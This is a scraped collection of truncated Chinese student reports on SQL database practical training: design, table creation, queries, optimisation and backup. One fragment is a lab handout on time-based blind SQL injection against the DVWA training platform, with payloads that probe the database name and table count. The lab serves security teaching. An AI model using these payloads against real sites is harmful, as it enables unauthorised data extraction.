SQL数据库实训
数据库实训总结7篇
数据库实训总结7篇第1篇示例：数据库实训是数据库课程中非常重要的一环，通过实践操作，能够更好地理解数据库的基本原理和操作技巧。
本次数据库实训总结将从实训内容、实训过程和实训收获三个方面进行回顾。
一、实训内容在数据库实训中，我们主要学习了数据库的设计、建表、插入数据、查询数据、更新数据、删除数据等基本操作。
通过实际操作，我们了解了数据库设计的重要性，设计合理的数据库结构可以提高数据的存储效率和检索效率。
我们还学习了SQL语句的编写，掌握了SELECT、INSERT、UPDATE、DELETE等关键字的用法，能够灵活查询和操作数据库中的数据。
我们还学习了索引、视图、触发器等高级技术，进一步提升了数据库操作的水平。
二、实训过程在实训过程中，我们首先完成了数据库设计和建表的工作，根据需求分析确定了数据库的表结构，并创建了相应的表。
接着，我们通过SQL语句插入了大量的测试数据，以便后续的查询和操作。
然后，我们对数据库中的数据进行了各种操作，包括查询特定条件下的数据、更新数据、删除数据等。
在操作过程中，我们遇到了一些问题，如SQL语句的书写错误、查询条件设置不当等，但通过思考和实践，最终都得到了解决。
三、实训收获通过数据库实训，我们积累了丰富的数据库操作经验，掌握了SQL语句的基本用法和高级技术。
我们学会了如何设计合理的数据库结构，如何提高查询效率，如何保证数据的完整性和一致性。
我们还培养了团队合作能力和解决问题的能力，通过与同学一起讨论和思考，共同解决实训中遇到的难题。
通过实践操作，我们真正理解了数据库理论知识的应用，提升了自己的实际操作能力。
数据库实训是一次非常有意义的实践活动，通过实践操作，我们不仅巩固了数据库课程中学到的知识，还培养了实际操作能力和团队合作精神。
希望今后能够继续学习和探索数据库领域的知识，不断提升自己的专业水平。
【内容结束】第2篇示例：数据库实训总结数据库实训是大学生学习数据库课程的重要环节，通过实践操作，学生可以更深入地了解数据库的基本概念和操作技能。
数据库实训总结
数据库实训总结SQLServer数据库管理课实训报告这个星期是我们SQLServer数据库管理课的实训，经过一个星期的实训，让我将书本上的理论与实践相结合，领会到了许多平时课堂上所没有接受的课外知识课外训练，懂得如何去运用自己学到的书本上的知识，而进行的一次分析设计综合的训练。
而本次实训的目的是让我们掌握数据库系统的原理、技术，将理论与实际相结合，应用现有的数据库管理系统软件，规范、科学地完成一个设计与实现。
其实说心里话，在实训数据库之前我对数据库这门课程是既抗拒又害怕的。
从第一节课开始，我在很认真的听老师讲课，而且自己也非常有信心学好这门课程。
但是上了一个月的课程后我发现，对于数据库我学的完全是迷迷糊糊，对于查询命令学的也是似懂非懂，后来老师授课的内容开始越积越多，我不会的没弄懂的也越积越多，最后开始害怕这门课上课，更害怕这门课考试。
抱着不想挂科的心理，在数据库实训之前，我抽了一个星期的时间仔细地看了书，并且把课后习题仔仔细细地重新做了一遍，对这本书的整个知识体系在脑袋里面有个大概的印象，后来老师告诉我们这次实训的目标，于是我对这次实训工作胸中就开始有大致的轮廓。
这次我们实训的内容是从数据库、数据表的创建和修改开始的，我知道了：表是建立关系数据库的基本结构，用来存储数据具有已定义的属性，在表的操作过程中，有查看表信息、查看表属性、修改表中的数据、删除表中的数据及修改表和删除表的操作。
从实训中让我更明白一些知识，表是数据最重要的一个数据对象，表的创建好坏直接关系到数数据库的成败，表的内容是越具体越好，但是也不能太繁琐，以后在实际应用中多使用表，对表的规划和理解就会越深刻。
我们实训的另一个内容是数据库的约束、视图、查询。
查询语句的基本结构，和简单SELECT语句的使用，多表连接查询。
而在视图的操作中，也了解到了视图是常见的数据库对象，是提供查看和存取数据的另一种途径，对查询执行的大部分操作，使用视图一样可以完成。
数据库应用与安全管理实训 SQL注入(时间盲注)1
实训SQL注入（时间盲注）1一、实训目的1. 了解SQL注入的常用方式2. 掌握SQL时间盲注的方法二、实训环境1. DVWA平台2. Firefox浏览器（谷歌浏览器）三、实训内容1. 配置DVWA平台进入DVWA平台，选择DVWA Security，将安全级别设置为Low。
2. 测试SQL注入点（1）点击SQL Injection（Blind），进入测试页面。
（2）使用参数1' and sleep(5) #进行提交，页面明显延迟。
使用参数1 and sleep(5) #进行提交，页面没有延迟。
说明是基于字符的时间盲注。
（3）猜解数据库名的长度。
具体命令如下：•1' and if(length(database())=1,sleep(5),1) # //没有延迟•…………•1' and if(length(database())=4,sleep(5),1) # //明显延迟（4）二分法猜解数据库名。
具体命令如下：•1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# //明显延迟•……•1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# //没有延迟•1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# //没有延迟修改substr函数的第二个参数，如substr(database(),2,1)进行测试，可以获得数据库的第二个字母。
（5）猜解数据库表的数量。
具体命令如下：•1' and if((select count(table_name) from information_schema.tables wheretable_schema=database() )=1,sleep(5),1)# //没有延迟•1' and if((select count(table_name) from information_schema.tables wheretable_schema=database() )=2,sleep(5),1)# //明显延迟（6）猜解数据库表名的长度。
数据库实训报告实验总结
一、实验背景随着信息化时代的到来，数据库技术已成为当今社会的重要技术之一。
为了提高我国高校学生的实践能力，培养适应社会发展需求的数据库技术人才，我校组织了数据库实训课程。
通过本次实训，使学生们能够掌握数据库的基本原理、设计方法和应用技术，提高解决实际问题的能力。
二、实验目的1. 理解数据库的基本概念和原理；2. 掌握数据库的设计方法和步骤；3. 学会使用数据库管理系统进行数据库的创建、修改和查询；4. 培养学生分析问题、解决问题的能力；5. 提高学生的团队合作意识和沟通能力。
三、实验内容本次数据库实训主要包括以下内容：1. 数据库基本概念：数据库、数据库系统、数据库管理系统等；2. 关系数据库：关系模型、关系代数、关系运算等；3. SQL语言：数据定义语言（DDL）、数据操纵语言（DML）、数据控制语言（DCL）等；4. 数据库设计：需求分析、概念结构设计、逻辑结构设计、物理结构设计等；5. 数据库实现：使用数据库管理系统进行数据库的创建、修改和查询；6. 数据库应用：使用数据库技术解决实际问题。
四、实验过程1. 需求分析：根据实训要求，分析数据库所需解决的问题，确定数据库的功能和性能指标；2. 概念结构设计：根据需求分析，设计数据库的概念结构，包括实体、属性和实体间的关系；3. 逻辑结构设计：将概念结构转换为逻辑结构，包括确定表结构、字段类型、约束条件等；4. 物理结构设计：根据逻辑结构设计，确定数据库的物理存储方式，包括数据文件、索引文件等；5. 数据库创建：使用数据库管理系统创建数据库，包括创建表、索引、视图等；6. 数据操作：使用SQL语言进行数据插入、删除、更新和查询等操作；7. 数据库应用：使用数据库技术解决实际问题，如数据备份、恢复、安全等。
五、实验总结1. 理论与实践相结合：本次实训使我深刻认识到，数据库技术不仅包括理论知识，还需要将理论应用于实践，解决实际问题；2. 数据库设计的重要性：数据库设计是数据库应用的基础，一个良好的数据库设计可以提高数据库的性能和可用性；3. SQL语言的应用：SQL语言是数据库操作的核心，熟练掌握SQL语言可以提高数据库操作效率；4. 团队合作与沟通：在实训过程中，与团队成员密切配合，共同完成任务，提高了我的团队合作意识和沟通能力；5. 实验心得：通过本次实训，我对数据库技术有了更深入的了解，掌握了数据库的基本原理、设计方法和应用技术，为今后的学习和工作打下了坚实的基础。
SQL数据库实验报告
湖北国土资源职业学院SQL数据库实验报告2010-2011 学年第二学期实验名称数据库应用技术班级测量0902指导老师侯文平学生姓名杨然系（部）测绘工程系实训时间2011年5月实验一注册服务器与创建数据库一、实验目的1.熟悉SQL Server 2005管理平台的环境2.掌握注册服务器的过程3.了解Microsoft SQL Server中系统数据库中的数据4.掌握创建库5.掌握创建数据表二、实验内容1. 使用联机丛书2．注册服务器3．创建数据库4．创建数据表三、仪器、设备、材料微机四、实验准备1．理论知识预习及要求①服务器组的创建；②服务器的注册；③创建数据库；④创建数据表；2．实验指导书预习及要求上机前先预习第一、二章的内容及附录A中的实验一，理解注册服务器的作用。
3．其他准备无五、实验原理或操作要点简介注意服务器要先启动，才能与服务器建立连接。
六、注意事项要养成为文件取有意义名称的习惯。
要及时保存文件，避免死机或断电造成的文件丢失。
创建过程中，出现问题时，请保存，请老师解答。
创建过程中，若出现找不到相应的问题时，要看联机丛书，逐步学会自学。
七、实验过程与指导1. 使用联机丛书（操作步骤参考教材P273实验一中的操作步骤）2．注册服务器（操作步骤参考教材P8）3．创建数据库（操作步骤参考教材P12，要求将数据库存储在最后一个磁盘，以自己姓名命名的文件夹，如F:\hwp）4．创建数据表以界面方式建立一个学生基本情况表（tblStudent），建立的要求如下表。
以界面方式建立一个班级表（tblClass），建立的要求如下表。
5．往表中插入记录①往tblStudent表中插入记录。
观察：●蔡文姬的性别在输入的时，没有输入，输入完成后，变成了什么？为什么？●曹操的性别误输入为“国”，也成功的存储了。
我们可以在保存数据前做什么工作，防止用户输入错误的发生？继续，往tblStudent表中插入记录。
输入完成，提交更新行时，会出现下面错误提示：思考：该提示的含义是什么，由什么原因引起？②往tblClass表中插入记录。
sql数据库实训报告
sql数据库实训报告1.引言SQL（Structured Query Language）是一种用于管理关系数据库系统的计算机编程语言。
在日常生活和工作中，我们难免会遇到需要存储和管理大量数据的情况，而SQL数据库正是解决这类问题的有效工具。
在本次实训中，我们学习了SQL数据库的基本概念、语法和操作，以及如何利用SQL数据库进行数据的增删改查等操作。
本报告将总结实训过程中的所学内容。
2.实训目标与环境搭建实训的目标是让学员了解并熟悉SQL数据库的基本操作，并能够运用所学知识完成实际的数据管理和查询任务。
为了实现这一目标，我们需要先行搭建实训环境，包括安装和配置数据库软件等。
3.数据库设计与建表在使用SQL数据库进行数据管理之前，我们首先需要进行数据库设计和建表操作。
数据库设计是根据实际业务需求，确定数据库的表结构、字段类型、主外键关系等，以便于更好地管理和查询数据。
在建表过程中，我们需要考虑到数据的一致性、完整性和安全性等方面的问题。
4.数据导入与查询数据导入是将已有的数据导入到SQL数据库中的过程。
在实际工作中，我们通常会遇到需要存储和管理大量已有数据的情况，而不是从零开始创建数据。
通过数据导入操作，我们可以将Excel表格、CSV文件等数据源快速导入到数据库中，并进行相应的查询操作。
5.数据的增删改查数据的增删改查是SQL数据库最常用的操作之一。
通过SQL 语句，我们可以实现数据的插入、更新、删除和查询等功能。
通过实际的案例演练，我们可以了解到不同类型的SQL语句及其使用方法，以及如何通过这些语句实现对数据的操作。
6.索引和优化在实际的数据库管理中，如果数据量庞大，查询效率就会成为一个较大的问题。
为此，我们需要对数据库进行索引和优化操作，以提升查询效率。
通过在适当的字段上添加索引，可以加快数据的查找速度；通过调整数据库的参数设置和优化查询语句，可以提高数据库的整体性能。
7.备份和恢复数据库的备份和恢复是非常重要的工作，尤其在面临数据丢失或数据库受损等情况时。
sql数据库实训总结(文档)
sql数据库实训总结(文档)sql数据库实训总结sql数据库实训总结,SQL是Structured Query Language(结构化查询语言)的缩写。
SQL是专为数据库而建立的操作命令集，是一种功能齐全的数据库语言。
下面是共享的sql数据库实训总结，欢迎阅读!sql数据库实训总结我在sql server 索引基础学问系列中,第一篇就讲了记录数据的基本格式。
那里主要讲解的是，数据库的最小读存单元：数据页。
一个数据页是8k大小。
对于数据库来说，它不会每次有一个数据页变化后，就存到硬盘。
而是变化达到一定数量级后才会作这个操作。
这时候，数据库并不是以数据页来作为操作单元，而是以64k的数据(8个数据页，一个区)作为操作单元。
区是管理空间的基本单位。
一个区是八个物理上延续的页(即 64 kb)。
这意味着 sql server 数据库中每 mb 有 16 个区。
为了使空间分配更有效，sql server 不会将全部区别配给包含少量数据的表。
sqlserver 有两种类型的区：统一区，由单个对象全部。
区中的全部 8 页只能由所属对象使用。
混合区，最多可由八个对象分享。
区中八页的每页可由不同的对象全部。
通常从混合区向新表或索引分配页。
当表或索引增长到 8 页时，将变成使用统一区举行后续分配。
假如对现有表创建索引，并且该表包含的行足以在索引中生成 8 页，则对该索引的全部分配都使用统一区举行。
为何会这样呢?其实很容易：读或写 8kb 的时光与读或写 64 kb的时光几乎相同。
在 8 kb 到 64 kb 范围之内，单个磁盘 i/o 传输操作所花的时光主要是磁盘取数臂和读/写磁头运动的时光。
因此，从数学上来讲，当需要传输 64 kb 以上的 sql 数据时，尽可能地执行 64 kb 磁盘传输是有益的，即分成数个64k 的操作。
由于 64 kb 传输基本上与 8 kb 传输一样快，而每次传输的 sql server 数据是 8 kb 传输的 8 倍。
数据库实验实训报告范文
一、实验背景与目的随着信息技术的飞速发展，数据库技术在各行各业中的应用越来越广泛。
为了使同学们更好地掌握数据库的基本原理、设计方法和应用技术，提高动手能力，本次实验实训旨在通过一系列的数据库实验，使同学们熟悉数据库管理系统的使用，掌握数据库设计、创建、查询、维护等基本操作，提高数据库应用能力。
二、实验环境与工具1. 实验环境：Windows 10操作系统，SQL Server 2019数据库管理系统。
2. 实验工具：SQL Server Management Studio（SSMS）。
三、实验内容与步骤1. 数据库设计（1）分析业务需求：根据实验要求，设计一个学生信息管理系统，包含学生、课程、成绩等实体。
（2）确定实体关系：分析实体之间的联系，确定实体之间的关系，如一对多、多对多等。
（3）设计数据表结构：根据实体关系，设计数据表结构，包括字段名、数据类型、约束等。
2. 数据库创建（1）创建数据库：使用SSMS连接到本地SQL Server实例，创建一个新的数据库。
（2）创建数据表：在数据库中创建学生、课程、成绩等数据表，并设置相应的字段和约束。
3. 数据插入与查询（1）插入数据：向数据表中插入数据，包括学生信息、课程信息、成绩信息等。
（2）查询数据：使用SELECT语句进行数据查询，包括简单查询、条件查询、连接查询等。
4. 数据更新与删除（1）更新数据：使用UPDATE语句更新数据表中指定的记录。
（2）删除数据：使用DELETE语句删除数据表中指定的记录。
5. 视图与存储过程（1）创建视图：根据实际需求，创建视图，简化查询操作。
（2）创建存储过程：编写存储过程，实现数据的批量插入、更新、删除等操作。
四、实验结果与分析1. 数据库设计本次实验中，我们成功设计了一个学生信息管理系统，包括学生、课程、成绩等实体，并确定了实体之间的关系。
数据表结构设计合理，满足业务需求。
2. 数据库创建成功创建了数据库和数据表，并设置了相应的字段和约束。
sql实训过程中遇到的问题
sql实训过程中遇到的问题在学习数据库管理系统时，进行SQL实训是非常重要的一环。
通过实际操作，我们可以更好地理解SQL语言的使用和数据库管理的流程。
然而，在实训过程中，我也遇到了一些问题，下面我将分享一下我遇到的一些常见问题以及解决方法。
首先，我遇到的一个问题是语法错误。
SQL语言有着严格的语法规则，一旦出现语法错误，就无法正确执行SQL语句。
在实训过程中，我经常会因为忘记加上分号或者拼写错误而导致语法错误。
为了解决这个问题，我开始更加仔细地检查每一条SQL语句的书写，确保没有遗漏任何关键符号，并且使用SQL编辑器的语法检查功能来帮助我找出错误。
其次，我还遇到了数据类型不匹配的问题。
在数据库中，每个字段都有其特定的数据类型，如果在插入或更新数据时，数据类型不匹配，就会出现错误。
例如，如果我将一个字符串类型的值插入到一个整数类型的字段中，就会出现数据类型不匹配的错误。
为了解决这个问题，我开始仔细检查每个字段的数据类型，并确保插入或更新的数据与字段的数据类型相匹配。
另外，我还遇到了数据完整性的问题。
在数据库中，我们可以定义各种约束来保证数据的完整性，例如主键约束、唯一约束和外键约束等。
在实训过程中，我经常会因为违反了某个约束而导致操作失败。
为了解决这个问题，我开始更加仔细地阅读数据库设计文档，了解每个表的约束条件，并在进行操作之前，先检查数据是否满足约束条件。
此外，我还遇到了性能问题。
在处理大量数据时，SQL查询可能会变得非常缓慢。
为了解决这个问题，我开始学习如何优化SQL查询，例如使用索引、合理设计查询语句和避免不必要的连接操作等。
通过优化查询，我成功地提高了SQL查询的性能。
最后，我还遇到了安全性问题。
在实际应用中，数据库中存储着大量的敏感信息，例如用户的个人信息和密码等。
为了保护这些信息的安全，我学习了如何使用SQL语句来进行安全性控制，例如使用权限管理和加密等技术。
通过加强数据库的安全性，我成功地保护了用户的敏感信息。
数据库实训心得体会（通用5篇）
数据库实训心得体会（通用5篇）数据库实训篇1高并发读写需求网站的用户并发性非常高，往往达到每秒上万次读写请求，对于传统关系型数据库来说，硬盘I/O是一个很大的瓶颈海量数据的高效率读写网站每天产生的数据量是巨大的，对于关系型数据库来说，在一张包含海量数据的表中查询，效率是非常低的高扩展性和可用性在基于web的结构当中，数据库是最难进行横向扩展的，当一个应用系统的用户量和访问量与日俱增的时候，数据库却没有办法像webserver和appserver那样简单的通过添加更多的硬件和服务节点来扩展性能和负载能力。
对于很多需要提供24小时不间断服务的网站来说，对数据库系统进行升级和扩展是非常痛苦的事情，往往需要停机维护和数据迁移。
对网站来说，关系型数据库的很多特性不再需要了：事务一致性关系型数据库在对事物一致性的维护中有很大的开销，而现在很多web2.0系统对事物的读写一致性都不高读写实时性对关系数据库来说，插入一条数据之后立刻查询，是肯定可以读出这条数据的，但是对于很多web应用来说，并不要求这么高的实时性，比如发一条消息之后，过几秒乃至十几秒之后才看到这条动态是完全可以接受的复杂SQL，特别是多表关联查询任何大数据量的web系统，都非常忌讳多个大表的关联查询，以及复杂的数据分析类型的复杂SQL报表查询，特别是SNS类型的网站，从需求以及产品阶级角度，就避免了这种情况的产生。
往往更多的只是单表的主键查询，以及单表的简单条件分页查询，SQL的功能极大的弱化了在关系型数据库中，导致性能欠佳的最主要原因是多表的关联查询，以及复杂的数据分析类型的复杂SQL报表查询。
为了保证数据库的ACID特性，我们必须尽量按照其要求的范式进行设计，关系型数据库中的表都是存储一个格式化的数据结构。
每个元组字段的组成都是一样，即使不是每个元组都需要所有的字段，但数据库会为每个元组分配所有的字段，这样的结构可以便于标语表之间进行链接等操作，但从另一个角度来说它也是关系型数据库性能瓶颈的一个因素。
sql数据库实训报告
sql数据库实训报告一、实训目的本次实训旨在让学生了解SQL语言，熟悉数据表的操作，掌握SQL数据库的基本使用及维护方法，并最终能够运用所学知识完成数据库的设计与实现。
二、实训过程1. 实验环境搭建本次实训所需的实验环境为：MySQL数据库。
首先需要在本地计算机上安装MySQL，并配置好环境变量。
2. 数据库设计在完成实验环境搭建后，接着需要进行数据库设计。
本次实训的数据库设计主要包括以下几个方面：（1）确定所需数据表及表中字段；（2）确定表与表之间的关系；（3）确定表中字段的类型及长度。
3. 数据库操作完成数据库设计后，需要通过SQL语言进行数据库的操作。
本次实训的数据库操作主要包括以下几个方面：（1）表的创建、修改、删除；（2）数据的插入、更新、删除；（3）基本查询，包括SELECT语句的使用及WHERE语句的使用。
4. 数据库维护SQL数据库的维护主要包括以下几个方面：（1）备份与恢复数据；（2）性能优化，包括索引优化、查询语句的优化等；（3）安全管理，包括用户管理，角色管理，权限管理等。
三、实训成果通过本次实训，我成功地完成了以下工作：（1）完成MySQL数据库的安装与配置；（2）完成数据库的设计，包括三个数据表的创建及表间关系的建立；（3）成功进行了数据库的基本操作，包括数据的插入、更新、删除等；（4）成功进行了基本查询，包括SELECT语句的使用及WHERE语句的使用；（5）对数据库进行了一些性能优化，包括索引优化、查询语句的优化等。
四、实训心得通过本次SQL数据库实训，我深刻地认识到SQL语言的重要性，掌握了SQL数据库的基本使用及维护方法，并在实践中不断地完善自己的实验能力。
在今后的工作中，我将继续加强对SQL语言的学习，并开展更为深入的数据库设计及开发工作。
数据库操作查询实训报告
一、实训背景随着信息技术的飞速发展，数据库已经成为现代社会信息管理的重要工具。
为了更好地掌握数据库操作与查询技能，我们进行了一次数据库操作查询的实训。
本次实训旨在通过实际操作，使学生熟练掌握数据库的基本操作，包括数据库的创建、表的创建、数据的插入、查询、更新和删除等，并能够运用SQL语言进行复杂的查询操作。
二、实训内容1. 数据库的创建与使用首先，我们学习了如何创建一个新的数据库，以及如何使用现有的数据库。
在MySQL数据库中，创建数据库的语句如下：CREATE DATABASE 数据库名;使用数据库的语句如下：USE 数据库名;2. 表的创建与操作接下来，我们学习了如何创建表，以及如何对表进行操作，包括添加字段、修改字段、删除字段等。
创建表的语句如下：CREATE TABLE 表名 (字段名1 数据类型,字段名2 数据类型,...);添加字段的语句如下：ALTER TABLE 表名 ADD 字段名1 数据类型;修改字段的语句如下：ALTER TABLE 表名 MODIFY 字段名1 数据类型;删除字段的语句如下：ALTER TABLE 表名 DROP 字段名1;3. 数据的插入、查询、更新和删除在掌握了表的基本操作后，我们学习了如何向表中插入数据、查询数据、更新数据和删除数据。
插入数据的语句如下：INSERT INTO 表名 (字段名1, 字段名2, ...) VALUES (值1, 值2, ...);查询数据的语句如下：SELECT 字段名1, 字段名2, ... FROM 表名 WHERE 条件;更新数据的语句如下：UPDATE 表名 SET 字段名1 = 值1, 字段名2 = 值2, ... WHERE 条件;删除数据的语句如下：DELETE FROM 表名 WHERE 条件;4. SQL查询语句最后，我们学习了SQL查询语句，包括单表查询、多表查询、子查询等。
以下是部分查询语句的示例：（1）单表查询SELECT 字段名1, 字段名2, ... FROM 表名 WHERE 条件;（2）多表查询SELECT 字段名1, 字段名2, ... FROM 表名1, 表名2 WHERE 条件;（3）子查询SELECT 字段名1, 字段名2, ... FROM 表名 WHERE 条件1 IN (SELECT 字段名1, 字段名2, ... FROM 表名2 WHERE 条件2);三、实训过程1. 实训初期，我们通过查阅教材和资料，了解了数据库的基本概念和操作方法。
SQl实训总结
千里之行，始于足下。
SQl实训总结
本次SQL实训主要学习了数据库的基本操作和查询语句的使用。
通过实践，我对SQL语言的特点有了更深刻的理解，并且掌握了一些常用的SQL语句的使
用方法。
首先，我学习了数据库的基本操作，包括创建数据库、创建表、插入数据、修改数据和删除数据等。
通过这些操作，我了解了数据库的组成和基本结构，
掌握了如何创建和修改数据库、表以及表中的数据。
其次，我学习了SQL语句的基本语法和常用的查询语句。
SQL语句的基本
语法包括SELECT、FROM、WHERE、ORDER BY等关键词的使用，通过这些关键词
的组合，我学会了如何查找和过滤数据库中的数据。
在查询语句中，我还学习
了一些常用的函数和操作符的使用，例如COUNT、SUM、MAX、MIN等聚合函数的使用，以及LIKE、BETWEEN、AND等操作符的使用。
最后，我还学习了连接查询和子查询的使用。
连接查询可以通过多个表的
连接将数据进行组合，通过这种方式，可以实现更复杂的数据查询。
而子查询
可以将一个查询结果作为另一个查询的条件或者数据源，通过这种方式，可以
实现更灵活的数据查询。
通过这次实训，我收获了很多，不仅学到了SQL语言的知识，还培养了良
好的数据分析和处理能力。
SQL是一门非常重要的技术，它广泛应用于各个领
域的数据处理和分析中，掌握SQL语言将为我的日后工作和学习带来很大的帮助。
我将继续努力学习和实践，提升自己的SQL技能，为将来的工作做好充分
的准备。
第1页/共1页。
sqlserver的实训总结范文
千里之行，始于足下。
sqlserver的实训总结范文
实训总结
在这次sqlserver的实训中，我学到了很多数据库管理的知识和技能。
通过实践操作，我更加深入地了解了sqlserver的相关概念、原理和常用操作。
首先，我学习了数据库的基本概念和基本操作。
通过创建和管理数据库，我掌握了如何使用sqlserver管理数据库的方法和技巧。
我学会了如何创建和删除数据库、如何设置数据库参数、如何备份和还原数据库等基本操作。
其次，我学习了表的创建和管理。
我了解了如何创建表、如何定义字段的数据类型和约束、如何添加和删除表的数据等操作。
通过实践，我更加深入地了解了表和字段的概念，掌握了如何设计和管理数据库表的技巧。
另外，我还学习了数据查询和操作的相关知识。
我了解了如何使用sql查询数据、如何使用sql更新和删除数据、如何使用sql的聚合函数进行数据统计等操作。
通过实践，我熟悉了sql查询语句的写法，掌握了如何使用sql操作数据库的技巧。
最后，我学习了如何使用sqlserver进行数据库优化和性能调优。
我了解了如何使用sqlserver的性能监视器进行性能分析和调优，如何使用索引提高查询性能等操作。
通过实践，我了解了如何评估和优化sqlserver的性能，掌握了如何调整数据库参数和索引来提高数据库的性能。
通过这次实训，我不仅掌握了sqlserver的相关知识和技能，还提高了数据库管理的实践能力。
我将积极应用所学知识，不断提升自己的数据库管理水平，为企业的数据管理和决策提供有效的支持。
第1页/共1页。
sql数据库实训报告
sql数据库实训报告SQL数据库实训报告。
一、实训背景。
本次实训是针对SQL数据库的设计与应用进行的，旨在通过实际操作，加深对SQL数据库的理解与掌握，提高数据库设计与管理能力。
二、实训内容。
1. 数据库设计与创建。
在实训开始阶段，我们首先学习了数据库的设计原理与方法，包括实体关系模型（ERM）的绘制，数据库表的设计，以及数据类型的选择等。
在此基础上，我们使用SQL语句创建了一个包含多个表的数据库，并进行了数据的插入与查询操作。
2. 数据库查询与管理。
接着，我们学习了SQL语言的基本语法与常用查询命令，包括SELECT、UPDATE、DELETE、INSERT等，以及各种条件筛选、排序、分组与连接操作。
通过实际练习，我们掌握了如何编写高效、准确的SQL查询语句，并对数据库中的数据进行管理与维护。
3. 数据库应用与优化。
在实训的最后阶段，我们将学习如何将数据库应用到实际的项目中，包括数据库的备份与恢复、性能优化、索引设计等方面的内容。
通过这些内容的学习，我们将能够更好地应对实际项目中的数据库管理与应用需求。
三、实训收获。
通过本次实训，我对SQL数据库的设计与应用有了更深入的理解与掌握。
我不仅学会了如何设计与创建数据库，还能够编写复杂的SQL查询语句，并对数据库进行有效管理与优化。
这些知识与技能对我的职业发展将起到重要的推动作用。
四、实训反思。
在实训过程中，我深刻体会到了理论与实践相结合的重要性。
通过实际操作，我才真正理解了课堂上学到的知识，并且能够运用到实际工作中。
同时，我也意识到数据库设计与管理是一个复杂而又细致的工作，需要不断地学习与实践，才能够不断提高自己的能力与水平。
五、实训展望。
在未来的学习与工作中，我将继续深入学习数据库相关的知识，不断提升自己的数据库设计与管理能力。
我希望能够在实际项目中应用所学到的知识，为企业的数据管理与应用提供更加专业、高效的解决方案。
六、结语。
通过本次实训，我对SQL数据库有了更加全面的认识与掌握，我相信这些知识与技能将成为我未来发展的重要基础。
数据库实训总结7篇
数据库实训总结7篇第1篇示例：数据库实训是数据库课程中非常重要的一环，通过实际操作来进行数据库设计、优化和管理等方面的训练。
在本次数据库实训中，我收获颇丰，对数据库的理论知识有了更深入的理解，同时也提升了实际操作的能力和技巧。
在数据库实训中，我们学习了数据库的基本概念和原理，如关系型数据库、SQL语言等。
通过实际操作，我们深入了解了数据库的结构和组成，掌握了SQL语言的基本语法和常用命令，能够灵活运用SQL语句进行数据查询、更新、删除等操作。
通过实际设计数据库表结构和建立索引等操作，加深了对数据库设计的理解和掌握。
在数据库实训中，我们学习了数据库的优化和性能调优的相关知识。
通过实际操作，我们了解了数据库的索引优化、查询优化、缓存优化、日志管理等方面的技术，提升了数据库的性能和效率。
我们也学习了数据库故障处理和备份恢复等技术，保证数据库的安全性和可靠性。
数据库实训对于我们的数据库学习和实践起到了非常重要的作用。
通过实际操作，我们不仅深入了解了数据库的理论知识和技术，还提升了数据库设计、优化和管理等方面的能力和技巧。
希望在今后的学习和工作中，能够继续努力学习和实践，提升自己的数据库技能，为将来的数据库应用和管理工作打下坚实的基础。
【文章结束】。
第2篇示例：数据库实训总结数据库实训是数据库课程中非常重要的一部分，通过实训能够让我们更加深入地了解数据库的知识，并且掌握数据库操作的技能。
在实训过程中，我收获颇丰，总结如下：在数据库实训中，我们学习了数据库的基本概念和原理，包括数据库的定义、特点、分类等内容。
通过理论学习，我对数据库的概念有了更加清晰的了解，为后续的实际操作奠定了基础。
在实训的过程中，我们学习了SQL语句的基本语法和操作，包括创建数据库、数据表，插入、查询、更新、删除数据等操作。
通过实际操作，我掌握了SQL语句的基本用法，能够独立完成简单的数据库操作。
数据库实训还包括了数据库设计与规范化的内容。
数据库应用实践实训报告(2篇)
第1篇一、实训背景随着信息技术的飞速发展，数据库技术在各行各业中发挥着越来越重要的作用。
为了提高我国数据库应用水平，培养具备数据库设计、开发、维护等能力的专业人才，我们参加了数据库应用实践实训。
本次实训旨在通过实际操作，加深对数据库理论知识的理解，提高数据库应用能力。
二、实训目标1. 熟悉数据库的基本概念、原理和常用技术；2. 掌握数据库设计、开发、维护等基本技能；3. 学会使用SQL语言进行数据库操作；4. 培养团队协作和沟通能力。
三、实训内容1. 数据库基本概念与原理在实训过程中，我们首先学习了数据库的基本概念，如数据模型、数据库系统、数据库管理系统等。
然后，深入了解了关系型数据库的原理，包括关系模型、关系代数、SQL语言等。
2. 数据库设计数据库设计是数据库应用过程中的关键环节。
我们学习了数据库设计的基本步骤，包括需求分析、概念设计、逻辑设计、物理设计等。
在实训中，我们以一个实际项目为例，进行了数据库设计。
3. 数据库开发数据库开发主要包括数据表创建、数据插入、查询、更新、删除等操作。
我们通过实际操作，掌握了使用SQL语言进行数据库开发的方法。
同时，我们还学习了数据库编程语言，如PL/SQL、T-SQL等。
4. 数据库维护数据库维护是保证数据库正常运行的重要环节。
我们学习了数据库备份、恢复、性能优化等维护方法。
在实训中，我们通过实际操作，掌握了数据库维护的基本技能。
5. 数据库安全与保护数据库安全与保护是数据库应用中的关键问题。
我们学习了数据库安全的基本原理，包括用户权限管理、数据加密、入侵检测等。
在实训中，我们通过实际操作，掌握了数据库安全与保护的方法。
四、实训过程1. 实训准备在实训开始前，我们进行了充分的准备，包括查阅相关资料、了解数据库应用的基本知识等。
2. 实训实施实训过程中，我们按照实训指导书的要求，完成了以下任务：（1）学习数据库基本概念、原理和常用技术；（2）进行数据库设计，包括需求分析、概念设计、逻辑设计、物理设计等；（3）使用SQL语言进行数据库开发，包括数据表创建、数据插入、查询、更新、删除等操作；（4）学习数据库维护，包括备份、恢复、性能优化等；（5）学习数据库安全与保护，包括用户权限管理、数据加密、入侵检测等。
sql数据库实训总结
千里之行，始于足下。
sql数据库实训总结
SQL数据库实训总结
在SQL数据库实训中，我学到了很多关于数据库的基本知识和操作技巧。
以下是我在实训中的总结：
1. 数据库的设计和创建：首先，了解数据库的基本结构和概念，学会使用SQL语句创建数据库和表格。
在设计数据库时，需要考虑实际需求和数据关系，合理设置字段和约束。
2. 数据的增删改查：学会使用SQL语句对数据库中的数据进行增加、删除、修改和查询。
这是数据库管理的基本操作，可以通过各种条件和限制来实现复
杂的数据操作。
3. 数据库的连接和关联：学会使用SQL语句进行多个表的连接和关联查询。
这是解决多表查询和复杂数据关系的关键技巧，可以通过连接和关联查询获取
更准确的数据结果。
4. 数据库的优化和性能调整：在实际应用中，数据库的性能和效率非常重要。
学会使用索引、分区等技术来优化数据库的查询效率，减少数据访问时间
和资源消耗。
5. 数据库的备份和恢复：学会使用数据库备份工具对数据库进行定期备份，以保证数据的安全性和可靠性。
在需要恢复数据时，可以使用备份文件进行数
据恢复操作。
第1页/共2页
锲而不舍，金石可镂。
